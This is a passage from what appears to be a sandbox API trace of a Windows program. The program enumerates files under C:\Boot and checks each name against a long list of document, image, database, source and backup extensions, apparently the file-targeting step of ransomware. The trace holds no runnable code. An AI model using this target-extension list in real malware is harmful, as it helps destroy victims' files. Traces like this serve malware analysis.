	[0166.880] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pfm") returned 4
	[0166.880] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pfx") returned 4
	[0166.880] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pgm") returned 4
	[0166.880] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".php") returned 4
	[0166.880] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".php3") returned 5
	[0166.880] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0166.880] lstrlenW (lpString=".php4") returned 5
	[0166.880] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0166.880] lstrlenW (lpString=".php5") returned 5
	[0166.880] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0166.880] lstrlenW (lpString=".phtml") returned 6
	[0166.880] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0166.881] lstrlenW (lpString=".pict") returned 5
	[0166.881] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0166.881] lstrlenW (lpString=".pl") returned 3
	[0166.881] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.881] lstrlenW (lpString=".pls") returned 4
	[0166.881] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".pm") returned 3
	[0166.881] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.881] lstrlenW (lpString=".png") returned 4
	[0166.881] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".pnm") returned 4
	[0166.881] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".pot") returned 4
	[0166.881] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".potm") returned 5
	[0166.881] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0166.881] lstrlenW (lpString=".potx") returned 5
	[0166.881] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0166.881] lstrlenW (lpString=".ppa") returned 4
	[0166.881] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".ppam") returned 5
	[0166.881] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0166.881] lstrlenW (lpString=".ppm") returned 4
	[0166.881] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".pps") returned 4
	[0166.881] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.881] lstrlenW (lpString=".ppsm") returned 5
	[0166.882] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0166.882] lstrlenW (lpString=".ppt") returned 4
	[0166.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".pptm") returned 5
	[0166.882] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0166.882] lstrlenW (lpString=".pptx") returned 5
	[0166.882] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0166.882] lstrlenW (lpString=".prn") returned 4
	[0166.882] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".ps") returned 3
	[0166.882] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.882] lstrlenW (lpString=".psb") returned 4
	[0166.882] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".psd") returned 4
	[0166.882] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".pst") returned 4
	[0166.882] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".ptx") returned 4
	[0166.882] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".pub") returned 4
	[0166.882] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".pwm") returned 4
	[0166.882] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".pxr") returned 4
	[0166.882] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.882] lstrlenW (lpString=".py") returned 3
	[0166.882] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.882] lstrlenW (lpString=".qt") returned 3
	[0166.883] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.883] lstrlenW (lpString=".r3d") returned 4
	[0166.883] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.883] lstrlenW (lpString=".raf") returned 4
	[0166.883] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0166.883] lstrlenW (lpString=".rar") returned 4
	[0166.883] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.883] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.883] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.883] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0166.883] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.883] lstrlenW (lpString="C:\\Boot\\en-US") returned 13
	[0166.883] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.884] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.884] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.884] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.884] lstrlenW (lpString=".1cd") returned 4
	[0166.884] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.884] lstrlenW (lpString=".3ds") returned 4
	[0166.884] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.884] lstrlenW (lpString=".3fr") returned 4
	[0166.884] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.884] lstrlenW (lpString=".3g2") returned 4
	[0166.884] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.884] lstrlenW (lpString=".3gp") returned 4
	[0166.884] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.884] lstrlenW (lpString=".7z") returned 3
	[0166.884] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.884] lstrlenW (lpString=".accda") returned 6
	[0166.884] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.884] lstrlenW (lpString=".accdb") returned 6
	[0166.884] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.884] lstrlenW (lpString=".accdc") returned 6
	[0166.884] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.884] lstrlenW (lpString=".accde") returned 6
	[0166.884] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.884] lstrlenW (lpString=".accdt") returned 6
	[0166.884] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.885] lstrlenW (lpString=".accdw") returned 6
	[0166.885] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.885] lstrlenW (lpString=".adb") returned 4
	[0166.885] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".adp") returned 4
	[0166.885] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai") returned 3
	[0166.885] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.885] lstrlenW (lpString=".ai3") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai4") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai5") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai6") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai7") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".ai8") returned 4
	[0166.885] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".anim") returned 5
	[0166.885] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.885] lstrlenW (lpString=".arw") returned 4
	[0166.885] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.885] lstrlenW (lpString=".as") returned 3
	[0166.885] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.885] lstrlenW (lpString=".asa") returned 4
	[0166.885] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".asc") returned 4
	[0166.886] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".ascx") returned 5
	[0166.886] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.886] lstrlenW (lpString=".asm") returned 4
	[0166.886] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".asmx") returned 5
	[0166.886] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.886] lstrlenW (lpString=".asp") returned 4
	[0166.886] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".aspx") returned 5
	[0166.886] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.886] lstrlenW (lpString=".asr") returned 4
	[0166.886] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".asx") returned 4
	[0166.886] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".avi") returned 4
	[0166.886] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".avs") returned 4
	[0166.886] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".backup") returned 7
	[0166.886] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.886] lstrlenW (lpString=".bak") returned 4
	[0166.886] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".bay") returned 4
	[0166.886] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.886] lstrlenW (lpString=".bd") returned 3
	[0166.887] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.887] lstrlenW (lpString=".bin") returned 4
	[0166.887] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.887] lstrlenW (lpString=".bmp") returned 4
	[0166.887] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.887] lstrlenW (lpString=".bz2") returned 4
	[0166.887] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.118] lstrlenW (lpString=".c") returned 2
	[0167.118] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.118] lstrlenW (lpString=".cdr") returned 4
	[0167.118] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.118] lstrlenW (lpString=".cer") returned 4
	[0167.118] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cf") returned 3
	[0167.119] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.119] lstrlenW (lpString=".cfc") returned 4
	[0167.119] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cfm") returned 4
	[0167.119] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cfml") returned 5
	[0167.119] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.119] lstrlenW (lpString=".cfu") returned 4
	[0167.119] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".chm") returned 4
	[0167.119] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cin") returned 4
	[0167.119] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".class") returned 6
	[0167.119] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.119] lstrlenW (lpString=".clx") returned 4
	[0167.119] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".config") returned 7
	[0167.119] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.119] lstrlenW (lpString=".cpp") returned 4
	[0167.119] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cr2") returned 4
	[0167.119] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".crt") returned 4
	[0167.119] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".crw") returned 4
	[0167.119] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.119] lstrlenW (lpString=".cs") returned 3
	[0167.119] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.119] lstrlenW (lpString=".css") returned 4
	[0167.120] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".csv") returned 4
	[0167.120] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".cub") returned 4
	[0167.120] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dae") returned 4
	[0167.120] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dat") returned 4
	[0167.120] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".db") returned 3
	[0167.120] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.120] lstrlenW (lpString=".dbf") returned 4
	[0167.120] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dbx") returned 4
	[0167.120] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dc3") returned 4
	[0167.120] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dcm") returned 4
	[0167.120] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dcr") returned 4
	[0167.120] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".der") returned 4
	[0167.120] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dib") returned 4
	[0167.120] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dic") returned 4
	[0167.120] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".dif") returned 4
	[0167.120] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.120] lstrlenW (lpString=".divx") returned 5
	[0167.120] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".djvu") returned 5
	[0167.121] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".dng") returned 4
	[0167.121] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".doc") returned 4
	[0167.121] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".docm") returned 5
	[0167.121] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".docx") returned 5
	[0167.121] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".dot") returned 4
	[0167.121] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dotm") returned 5
	[0167.121] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".dotx") returned 5
	[0167.121] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.121] lstrlenW (lpString=".dpx") returned 4
	[0167.121] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dqy") returned 4
	[0167.121] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dsn") returned 4
	[0167.121] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dt") returned 3
	[0167.121] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.121] lstrlenW (lpString=".dtd") returned 4
	[0167.121] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dwg") returned 4
	[0167.121] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dwt") returned 4
	[0167.121] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.121] lstrlenW (lpString=".dx") returned 3
	[0167.122] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.122] lstrlenW (lpString=".dxf") returned 4
	[0167.122] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".edml") returned 5
	[0167.122] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.122] lstrlenW (lpString=".efd") returned 4
	[0167.122] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".elf") returned 4
	[0167.122] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".emf") returned 4
	[0167.122] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".emz") returned 4
	[0167.122] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".epf") returned 4
	[0167.122] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".eps") returned 4
	[0167.122] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".epsf") returned 5
	[0167.122] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.122] lstrlenW (lpString=".epsp") returned 5
	[0167.122] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.122] lstrlenW (lpString=".erf") returned 4
	[0167.122] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".exr") returned 4
	[0167.122] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".f4v") returned 4
	[0167.122] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".fido") returned 5
	[0167.122] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.122] lstrlenW (lpString=".flm") returned 4
	[0167.122] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.122] lstrlenW (lpString=".flv") returned 4
	[0167.123] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".frm") returned 4
	[0167.123] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".fxg") returned 4
	[0167.123] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".geo") returned 4
	[0167.123] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".gif") returned 4
	[0167.123] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".grs") returned 4
	[0167.123] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".gz") returned 3
	[0167.123] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.123] lstrlenW (lpString=".h") returned 2
	[0167.123] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.123] lstrlenW (lpString=".hdr") returned 4
	[0167.123] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".hpp") returned 4
	[0167.123] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".hta") returned 4
	[0167.123] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".htc") returned 4
	[0167.123] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".htm") returned 4
	[0167.123] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.123] lstrlenW (lpString=".html") returned 5
	[0167.123] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.123] lstrlenW (lpString=".icb") returned 4
	[0167.123] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".ics") returned 4
	[0167.124] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".iff") returned 4
	[0167.124] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".inc") returned 4
	[0167.124] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".indd") returned 5
	[0167.124] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.124] lstrlenW (lpString=".ini") returned 4
	[0167.124] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".iqy") returned 4
	[0167.124] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".j2c") returned 4
	[0167.124] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".j2k") returned 4
	[0167.124] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".java") returned 5
	[0167.124] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.124] lstrlenW (lpString=".jp2") returned 4
	[0167.124] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".jpc") returned 4
	[0167.124] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".jpe") returned 4
	[0167.124] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".jpeg") returned 5
	[0167.124] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.124] lstrlenW (lpString=".jpf") returned 4
	[0167.124] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".jpg") returned 4
	[0167.124] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.124] lstrlenW (lpString=".jpx") returned 4
	[0167.124] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".js") returned 3
	[0167.125] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.125] lstrlenW (lpString=".jsf") returned 4
	[0167.125] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".json") returned 5
	[0167.125] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.125] lstrlenW (lpString=".jsp") returned 4
	[0167.125] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".kdc") returned 4
	[0167.125] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".kmz") returned 4
	[0167.125] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".kwm") returned 4
	[0167.125] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".lasso") returned 6
	[0167.125] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.125] lstrlenW (lpString=".lbi") returned 4
	[0167.125] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".lgf") returned 4
	[0167.125] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".lgp") returned 4
	[0167.125] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".log") returned 4
	[0167.125] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".m1v") returned 4
	[0167.125] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".m4a") returned 4
	[0167.125] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.125] lstrlenW (lpString=".m4v") returned 4
	[0167.125] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".max") returned 4
	[0167.126] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".md") returned 3
	[0167.126] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.126] lstrlenW (lpString=".mda") returned 4
	[0167.126] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mdb") returned 4
	[0167.126] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
